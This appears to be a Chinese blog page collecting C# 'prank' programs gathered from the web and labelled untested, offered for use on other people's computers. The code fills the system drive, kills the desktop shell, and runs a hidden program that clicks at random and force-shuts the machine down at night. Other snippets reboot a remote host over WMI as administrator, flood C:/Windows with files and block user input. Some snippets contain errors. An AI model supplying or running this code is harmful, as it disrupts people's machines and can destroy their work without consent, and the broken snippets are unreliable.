c#整人代码!!网络收集!!!(本代码没经过测试)

本文集合了一系列使用C#编写的恶搞程序代码片段,包括瞬间填满硬盘、更改桌面背景、活动窗口震动、假屏显示等,展示了如何通过编程实现各种趣味效果。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

瞬间填满C:/盘

System.IO.FileStream fs= new FileStream("C://1.txt", FileMode.OpenOrCreate);
            fs.SetLength(System.IO.DriveInfo.GetDrives()[
0].TotalFreeSpace-1024*1024);
            fs.Close();

2、

[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
        public static extern int SystemParametersInfo(
            int uAction,
            int uParam,
            string lpvParam,
            int fuWinIni
            );

        /// <summary>
        /// 设置背景图片
        /// </summary>
        /// <param name="picture">图片路径 </param>
        private void SetDestPicture(string picture)
        {
            if (File.Exists(picture))
            {
                if (Path.GetExtension(picture).ToLower() != "bmp")
                {
                    // 其它格式文件先转换为bmp再设置
                    string tempFile = @"D:/test.bmp";
                    Image image = Image.FromFile(picture);
                    image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
                    picture = tempFile;
                }

                SystemParametersInfo(20, 0, picture, 0x2);
            }
        }

这个才更有点意思

可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下

 

 

3、

先建个Console Application,Form1的ShowInTaskBar属性false,WindowState属性Minimized,再加个timer控件,Enable属性true写入下面代码:

C# code
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; namespace 活动窗体震动 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } internal struct RECT { public int left; public int top; public int right; public int bottom; } [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)] internal static extern bool GetWindowRect(IntPtr hWnd, ref RECT rect); [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)] internal static extern void MoveWindow(IntPtr hwnd,int X,int Y,int nWidth,int nHeight,bool bRepaint); IntPtr id; RECT Rect = new RECT(); private void timer1_Tick(object sender, EventArgs e) { id = GetForegroundWindow();//id = this.Handle;只能自己跳 Random myRandom = new Random();//随机数对观众来说更壮观点 GetWindowRect(id, ref Rect); MoveWindow(id, myRandom.Next(1024), myRandom.Next(768), Rect.right-Rect.left, Rect.bottom-Rect.top, true); } } }


当年我在csdn的兄弟们帮助下完成的,不过火恰到好处,试试效果吧.自认为比上面的好玩点...

 

4、

杀掉桌面进程啊
用户就黑屏了
恢复的时候,ctrl + alt + del
新建explorer.exe就好了

Process[] MyProcesses=Process.GetProcesses();
foreach(Process MyProcess in MyProcesses)
{
  if(myProcess.Name = "explorer")
{
  myProcess.Kill();
}
}

5、

using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

        static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while(true)
                {
                    if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if(tick < 1800)
                        continue;
                    if(tick % 643 == 0)
                        DoMouse();
                    if(tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while(c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch(rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch(rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            Process.Start("shutdown.exe", "-f -s -t 0");
        }
    }
}

6、

今天没事干,根据52楼的思想做了一个假屏.

    public partial class VirtualForm : Form
    {
       
private Bitmap bitmap;

       
public VirtualForm()
        {
            InitializeComponent();
            bitmap
= getDisplay();
        }

       
private void VirtualForm_Load(object sender, EventArgs e)
        {
           
this.FormBorderStyle= System.Windows.Forms.FormBorderStyle.None;
           
this.WindowState= FormWindowState.Maximized;
           
this.BackgroundImage= bitmap;
        }

        [System.Runtime.InteropServices.DllImportAttribute(
"gdi32.dll")]
       
private static extern IntPtr CreateDC(
       
string lpszDriver,// 驱动名称
        string lpszDevice,// 设备名称
        string lpszOutput,// 无用,可以设定位"NULL"
        IntPtr lpInitData// 任意的打印机数据
        );

       
//获取当前屏幕
        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
       
private static extern bool BitBlt(
        IntPtr hdcDest,
//目标设备的句柄
        int nXDest,// 目标对象的左上角的X坐标
        int nYDest,// 目标对象的左上角的X坐标
        int nWidth,// 目标对象的矩形的宽度
        int nHeight,// 目标对象的矩形的长度
        IntPtr hdcSrc,// 源设备的句柄
        int nXSrc,// 源对象的左上角的X坐标
        int nYSrc,// 源对象的左上角的X坐标
        System.Int32 dwRop// 光栅的操作值
        );

       
public static Bitmap getDisplay()
        {
            IntPtr dc1
= CreateDC("DISPLAY",null,null, (IntPtr)null);
           
//创建显示器的DC
            Graphics g1= Graphics.FromHdc(dc1);
           
//由一个指定设备的句柄创建一个新的Graphics对象
            Bitmap MyImage= new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
           
//根据屏幕大小创建一个与之相同大小的Bitmap对象
            Graphics g2= Graphics.FromImage(MyImage);
           
//获得屏幕的句柄
            IntPtr dc3= g1.GetHdc();
           
//获得位图的句柄
            IntPtr dc2= g2.GetHdc();
           
//把当前屏幕捕获到位图对象中
            BitBlt(dc2,0,0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3,0,0,13369376);
           
//把当前屏幕拷贝到位图中
            g1.ReleaseHdc(dc3);
           
//释放屏幕句柄
            g2.ReleaseHdc(dc2);
           
//释放位图句柄
            return MyImage;
        }
    }
7、
远程关闭别人的电脑 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

using System.Management;

namespace Ex18_11
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            //指定生成 WMI 连接所需的所有设置
            ConnectionOptions op = new ConnectionOptions();
            op.Username = "administrator";  //远程计算机用户名称
            op.Password = "";   //远程计算机用户密码
            //设置操作管理范围
            ManagementScope scope = new ManagementScope("////" + "192.9.103.114" + "//root//cimv2", op);
            scope.Connect();  //将此 ManagementScope 连接到实际的 WMI 范围。
            ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
            ManagementObjectSearcher query = new ManagementObjectSearcher(scope, oq);
            //得到WMI控制
            ManagementObjectCollection queryCollection = query.Get();
            foreach (ManagementObject obj in queryCollection)
            {
              // obj.InvokeMethod("ShutDown", null); //执行关闭远程计算机,reboot为重新启动
                obj.InvokeMethod("Reboot",null);
            }
        }
    }
}
8、
直接关闭显示器 
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace ControlHardWare
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        #region SendMessage
        public const uint WM_SYSCOMMAND = 0x0112;
        public const uint SC_MONITORPOWER = 0xF170;
        [DllImport("user32")]
        public static extern IntPtr SendMessage(IntPtr hWnd, uint wMsg, uint wParam, int lParam);
        #endregion

        private void button1_Click(object sender, EventArgs e)
        {
            CloseLCD(sender, e);
        }

        void CloseLCD(object sender, EventArgs e)
        {
            SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);    // 2 为关闭显示器, -1则打开显示器
        }

}
}
9、
using System.Runtime.InteropServices; 

C# code
public class Shudown { [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int DoFlag, int rea); internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int EWX_LOGOFF = 0x00000000; internal const int EWX_SHUTDOWN = 0x00000001; internal const int EWX_REBOOT = 0x00000002; internal const int EWX_FORCE = 0x00000004; internal const int EWX_POWEROFF = 0x00000008; internal const int EWX_FORCEIFHUNG = 0x00000010; private static void DoExitWin(int DoFlag) { bool ok; TokPriv1Luid tp; IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr.Zero; ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); ok = ExitWindowsEx(DoFlag, 0); } public static void Reboot() { DoExitWin(EWX_FORCE | EWX_REBOOT); } public static void PowerOff() { DoExitWin(EWX_FORCE | EWX_POWEROFF); } public static void LogOff() { DoExitWin(EWX_FORCE | EWX_LOGOFF); } }


只要调用 Reboot()重启,PowerOff()关闭,LogOff()注销 这三个函数就OK了~!
10、
using System; 
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

        static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while(true)
                {
                    if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if(tick < 1800)
                        continue;
                    if(tick % 643 == 0)
                        DoMouse();
                    if(tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while(c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch(rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch(rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            Process.Start("shutdown.exe", "-f -s -t 0");
        }
    }
}
11、
我也来个。。。 
long k=0;
While(true)
{
    k++;
    File.Create("C:/Windows/"+k.ToString()+".jok");
}
12、
再来一个,启动屏保 
C# code
private void RunScreenSaver() { String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr"); if (screenSavers.Length > 0) { // 启动获取到的第一个屏保 Process.Start(new ProcessStartInfo(screenSavers[0])); } }
13、
篡改背景图片 
C# code
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")] public static extern int SystemParametersInfo( int uAction, int uParam, string lpvParam, int fuWinIni ); /// <summary> /// 设置背景图片 /// </summary> /// <param name="picture">图片路径</param> private void SetDestPicture(string picture) { if (File.Exists(picture)) { if (Path.GetExtension(picture).ToLower() != "bmp") { // 其它格式文件先转换为bmp再设置 string tempFile = @"D:/test.bmp"; Image image = Image.FromFile(picture); image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp); picture = tempFile; } SystemParametersInfo(20, 0, picture, 0x2); }
14、
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code
// true阻止输入,false解除阻止输入 [DllImport("User32.dll")] public static extern bool BlockInput(bool enabled);
15、
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值